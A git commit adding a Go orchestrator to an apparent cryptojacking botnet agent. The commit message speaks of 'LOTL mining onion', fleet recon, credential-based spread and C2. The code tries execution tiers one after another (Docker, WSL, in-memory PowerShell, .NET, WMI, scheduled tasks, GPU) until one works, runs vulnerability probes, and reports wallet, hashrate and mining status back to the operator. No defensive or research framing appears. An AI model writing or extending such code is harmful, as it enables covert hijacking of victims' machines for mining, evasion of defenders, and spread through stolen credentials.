Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/agent/miner/lotl_orchestrator.go
+++ b/agent/miner/lotl_orchestrator.go
@@ -0,0 +1,448 @@
+package miner
+
+import (
+	"context"
+	"errors"
+	"log"
+	"strings"
+	"sync"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+var (
+	// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring.
+	ErrTierNotImplemented = errors.New("tier not implemented")
+	// ErrTierChainExhausted is returned when every tier in the onion failed.
+	ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
+	// ErrTierChainSkipped is returned when every tier gracefully skipped.
+	ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
+)
+
+// TierHooks wires tier-specific start/stop without importing client.
+type TierHooks struct {
+	StartDockerLoad func() error
+	StartContainer  func() error
+	StartWSL        func() error
+	StartPowerShell func() error
+	StartDotnet     func() error
+	StartInProcess  func() error
+	StartGPU        func() error
+	StopDockerLoad  func()
+	StopContainer   func()
+	StopWSL         func()
+	StopPowerShell  func()
+	StopDotnet      func()
+	StopInProcess   func()
+	StopGPU         func()
+	IsGPUSupported  func() bool
+}
+
+// TierEventReporter emits tier_report / mining_status events to C2.
+type TierEventReporter func(report TierReport, eventType string)
+
+// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
+type TierOrchestrator struct {
+	mu           sync.RWMutex
+	cfg          config.RuntimeConfig
+	probes       EnvironmentProbes
+	policy       MiningTierPolicy
+	chain        []LOTLTier
+	skipped      []LOTLTier
+	hooks        TierHooks
+	report       TierEventReporter
+	wallet       string
+	activeTier   LOTLTier
+	gpuActive    bool
+	attempts     []TierAttempt
+	lastError    string
+	chainExhaust bool
+	hashrate     float64
+	webGPUReady  bool
+	gpuComputeOK bool
+}
+
+// NewTierOrchestrator builds an orchestrator from probes + server policy.
+func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
+	chain, skipped := SelectMiningTierChain(probes, policy, cfg)
+	return &TierOrchestrator{
+		cfg:     cfg,
+		probes:  probes,
+		policy:  policy,
+		chain:   chain,
+		skipped: skipped,
+		hooks:   hooks,
+		report:  report,
+		wallet:  strings.TrimSpace(cfg.Wallet),
+	}
+}
+
+// Report returns the current tier snapshot.
+func (o *TierOrchestrator) Report() TierReport {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.buildReport()
+}
+
+func (o *TierOrchestrator) buildReport() TierReport {
+	attempts := make([]TierAttempt, len(o.attempts))
+	copy(attempts, o.attempts)
+	chain := make([]LOTLTier, len(o.chain))
+	copy(chain, o.chain)
+	skipped := make([]LOTLTier, len(o.skipped))
+	copy(skipped, o.skipped)
+	return TierReport{
+		ActiveTier:       o.activeTier,
+		Attempts:         attempts,
+		MiningHashrate:   o.hashrate,
+		TierChainOrder:   chain,
+		TierChainSkipped: skipped,
+		WebGPUReady:      o.webGPUReady,
+		GPUComputeOK:     o.gpuComputeOK,
+	}
+}
+
+// SetHashrate updates live hashrate included in tier reports.
+func (o *TierOrchestrator) SetHashrate(hps float64) {
+	o.mu.Lock()
+	o.hashrate = hps
+	report := o.buildReport()
+	reporter := o.report
+	o.mu.Unlock()
+	if reporter != nil {
+		reporter(report, "tier_report")
+	}
+}
+
+// RunProbes executes probe-only tiers (webview2) before GPU escalation.
+func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
+	o.mu.RLock()
+	chain := o.chain
+	cfg := o.cfg
+	o.mu.RUnlock()
+
+	for _, tier := range ProbeTiers(chain) {
+		start := time.Now()
+		attempt := o.runProbeTier(ctx, tier, cfg)
+		attempt.DurationMs = time.Since(start).Milliseconds()
+		if attempt.Wallet == "" {
+			attempt.Wallet = o.wallet
+		}
+		o.recordAttemptRecord(attempt)
+		if tier == TierWebView2Probe && attempt.OK {
+			o.mu.Lock()
+			o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
+			o.mu.Unlock()
+		}
+	}
+	return o.Report()
+}
+
+// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
+func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
+	o.RunProbes(ctx)
+
+	o.mu.Lock()
+	hooks := o.hooks
+	primary := PrimaryTiers(o.chain)
+	o.mu.Unlock()
+
+	if len(primary) == 0 {
+		primary = []LOTLTier{TierCPUInprocess}
+	}
+
+	var lastErr error
+	var skipped int
+	for _, tier := range primary {
+		select {
+		case <-ctx.Done():
+			return "", ctx.Err()
+		default:
+		}
+		start := time.Now()
+		err := o.invokeTier(tier, hooks)
+		duration := time.Since(start)
+		if err != nil {
+			if errors.Is(err, ErrTierChainSkipped) {
+				skipped++
+				o.recordAttempt(tier, false, err, duration)
+				continue
+			}
+			lastErr = err
+			log.Printf("[lotl-tier] %s failed: %v", tier, err)
+			o.recordAttempt(tier, false, err, duration)
+			o.stopTier(tier, hooks)
+			continue
+		}
+		o.recordAttempt(tier, true, nil, duration)
+		o.setActive(tier)
+		o.tryGPUAddon(ctx, hooks)
+		return tier, nil
+	}
+
+	o.mu.Lock()
+	o.chainExhaust = true
+	if lastErr != nil {
+		o.lastError = lastErr.Error()
+	} else {
+		o.lastError = "all LOTL tiers failed"
+	}
+	report := o.buildReport()
+	reporter := o.report
+	o.mu.Unlock()
+	if reporter != nil {
+		reporter(report, "tier_report")
+	}
+	if skipped == len(primary) {
+		return "", ErrTierChainSkipped
+	}
+	if lastErr != nil {
+		return "", lastErr
+	}
+	return "", ErrTierChainExhausted
+}
+
+func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
+	switch tier {
+	case TierDockerLoad:
+		if hooks.StartDockerLoad == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartDockerLoad()
+	case TierContainer:
+		if hooks.StartContainer == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartContainer()
+	case TierWSL:
+		if hooks.StartWSL == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartWSL()
+	case TierCPUInprocess:
+		if hooks.StartInProcess == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartInProcess()
+	case TierGPUSubprocess:
+		if hooks.StartGPU == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartGPU()
+	case TierPSInMemory:
+		if hooks.StartPowerShell == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartPowerShell()
+	case TierDotnet:
+		if hooks.StartDotnet == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartDotnet()
+	case TierWMI:
+		attempt := RunWMITier(context.Background(), o.cfg)
+		o.recordAttemptRecord(attempt)
+		if !attempt.OK {
+			if attempt.Error == "" {
+				return ErrTierChainSkipped
+			}
+			return errors.New(attempt.Error)
+		}
+		return nil
+	case TierScheduledTask:
+		attempt := RunScheduledTaskTier(context.Background(), o.cfg)
+		o.recordAttemptRecord(attempt)
+		if !attempt.OK {
+			if attempt.Error == "" {
+				return ErrTierChainSkipped
+			}
+			return errors.New(attempt.Error)
+		}
+		return nil
+	case TierGPUCompute:
+		attempt := RunGPUComputeTier(context.Background(), o.cfg)
+		o.recordAttemptRecord(attempt)
+		if attempt.OK {
+			o.mu.Lock()
+			o.gpuComputeOK = true
+			o.mu.Unlock()
+		}
+		return ErrTierChainSkipped
+	case TierExeSubprocess:
+		return ErrTierNotImplemented
+	default:
+		return ErrTierNotImplemented
+	}
+}
+
+func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
+	switch tier {
+	case TierVulnProbe:
+		return RunVulnProbeTier(ctx, cfg)
+	case TierWebView2Probe:
+		return RunWebView2Probe(ctx, cfg)
+	default:
+		return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
+	}
+}
+
+func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
+	switch tier {
+	case TierDockerLoad:
+		if hooks.StopDockerLoad != nil {
+			hooks.StopDockerLoad()
+		}
+	case TierContainer:
+		if hooks.StopContainer != nil {
+			hooks.StopContainer()
+		}
+	case TierWSL:
+		if hooks.StopWSL != nil {
+			hooks.StopWSL()
+		}
+	case TierPSInMemory:
+		if hooks.StopPowerShell != nil {
+			hooks.StopPowerShell()
+		}
+	case TierDotnet:
+		if hooks.StopDotnet != nil {
+			hooks.StopDotnet()
+		}
+	case TierCPUInprocess:
+		if hooks.StopInProcess != nil {
+			hooks.StopInProcess()
+		}
+	case TierGPUSubprocess:
+		if hooks.StopGPU != nil {
+			hooks.StopGPU()
+		}
+	}
+}
+
+func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
+	o.mu.Lock()
+	o.attempts = append(o.attempts, attempt)
+	report := o.buildReport()
+	reporter := o.report
+	o.mu.Unlock()
+	if reporter != nil {
+		event := "tier_report"
+		if !attempt.OK {
+			event = "mining_fallback"
+		}
+		reporter(report, event)
+	}
+}
+
+func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
+	o.mu.Lock()
+	attempt := TierAttempt{
+		Tier:       tier,
+		OK:         ok,
+		DurationMs: duration.Milliseconds(),
+		Wallet:     o.wallet,
+	}
+	if err != nil {
+		attempt.Error = err.Error()
+	}
+	o.attempts = append(o.attempts, attempt)
+	report := o.buildReport()
+	reporter := o.report
+	o.mu.Unlock()
+	if reporter != nil {
+		event := "tier_report"
+		if !ok {
+			event = "mining_fallback"
+		}
+		reporter(report, event)
+	}
+}
+
+func (o *TierOrchestrator) setActive(tier LOTLTier) {
+	o.mu.Lock()
+	o.activeTier = tier
+	o.chainExhaust = false
+	report := o.buildReport()
+	reporter := o.report
+	o.mu.Unlock()
+	if reporter != nil {
+		reporter(report, "mining_status")
+	}
+}
+
+func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
+	for _, tier := range o.chain {
+		if tier != TierGPUSubprocess {
+			continue
+		}
+		o.mu.RLock()
+		webGPU := o.webGPUReady
+		computeOK := o.gpuComputeOK
+		o.mu.RUnlock()
+		if !webGPU && !computeOK {
+			o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
+			return
+		}
+		if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
+			return
+		}
+		select {
+		case <-ctx.Done():
+			return
+		default:
+		}
+		gpuStart := time.Now()
+		if err := hooks.StartGPU(); err != nil {
+			o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
+			if hooks.StopGPU != nil {
+				hooks.StopGPU()
+			}
+			o.mu.Lock()
+			o.gpuActive = false
+			o.mu.Unlock()
+			return
+		}
+		o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
+		o.mu.Lock()
+		o.gpuActive = true
+		o.mu.Unlock()
+		return
+	}
+}
+
+// ChainExhausted reports whether every primary tier failed.
+func (o *TierOrchestrator) ChainExhausted() bool {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.chainExhaust
+}
+
+// ActiveTier returns the winning primary tier.
+func (o *TierOrchestrator) ActiveTier() LOTLTier {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.activeTier
+}
+
+// WebGPUReady reports webview2 probe result.
+func (o *TierOrchestrator) WebGPUReady() bool {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.webGPUReady
+}
+
+// GPUComputeReady reports gpu_compute probe success.
+func (o *TierOrchestrator) GPUComputeReady() bool {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.gpuComputeOK
+}
+
+// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
+func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
+	o.mu.Lock()
+	o.cfg = cfg
+	o.wallet = strings.TrimSpace(cfg.Wallet)
+	o.mu.Unlock()
+}